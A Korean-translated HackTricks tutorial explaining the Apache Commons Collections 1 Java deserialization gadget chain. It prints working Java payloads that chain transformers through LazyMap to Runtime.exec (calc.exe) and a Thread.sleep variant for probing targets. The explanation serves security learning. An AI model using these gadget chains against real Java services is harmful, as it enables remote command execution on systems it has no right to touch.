CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Java Transformers to Rutime exec()

여러 곳에서 다음과 같은 Apache common collections의 transformers를 사용하는 java deserialization payload를 찾을 수 있습니다:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Java deserialization payloads에 대해 아무것도 모른다면 이 코드가 calc를 실행하는 이유를 파악하기 어려울 수 있습니다.

우선, Java의 Transformer클래스를 수신하고 다른 클래스로 변환하는 것입니다.
또한 여기서 실행되는 payload다음과 동등하다는 것을 아는 것이 흥미롭습니다:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

또는 더 정확히 말하자면, 마지막에 실행될 것은:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

방법

그래서 첫 번째 페이로드가 그 "간단한" 한 줄짜리와 어떻게 동등한가요?

첫째로, 페이로드에서 변환의 체인(배열)이 생성된다는 것을 알 수 있습니다:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

코드를 읽어보면 배열의 변환을 어떻게든 연결하면 임의의 명령을 실행할 수 있다는 것을 알 수 있습니다.

그래서, 그 변환들은 어떻게 연결되나요?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

페이로드의 마지막 섹션에서 Map 객체가 생성됩니다. 그런 다음, LazyMap에서 맵 객체와 체인된 변환기를 사용하여 decorate 함수가 실행됩니다. 다음 코드를 통해 체인된 변환기lazyMap.factory 속성 안에 복사되는 것을 확인할 수 있습니다:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

그리고 마지막 대미가 실행됩니다: lazyMap.get("anything");

이것은 get 함수의 코드입니다:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

그리고 이것은 transform 함수의 코드입니다.

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

그래서 factory 안에 **chainedTransformer**를 저장했으며, transform 함수 안에서 모든 체인된 변환기를 순차적으로 실행하고 있습니다. 재미있는 점은 각 변환기가 object를 입력으로 사용하고 object가 마지막으로 실행된 변환기의 출력이라는 것입니다. 따라서 모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다.

요약

결국, lazyMap이 get 메서드 안에서 체인된 변환기를 관리하는 방식 때문에, 마치 우리가 다음 코드를 실행하는 것과 같습니다:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

각 변환의 입력이 value이고 이전 변환의 출력임을 주목하세요. 이는 한 줄 코드를 실행할 수 있게 합니다:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

여기에서 ComonsCollections1 페이로드에 사용된 가젯이 설명되었습니다. 그러나 이 모든 것이 어떻게 실행되는지는 남겨져 있습니다. 여기에서 ysoserial를 보면, 이 페이로드를 실행하기 위해 AnnotationInvocationHandler 객체를 사용합니다. 이 객체가 역직렬화되면, payload.get() 함수를 호출하여 전체 페이로드를 실행합니다.

Java Thread Sleep

이 페이로드는 웹이 취약한지 확인하는 데 유용할 수 있으며, 취약하다면 슬립을 실행합니다.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

더 많은 가젯

여기에서 더 많은 가젯을 찾을 수 있습니다: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기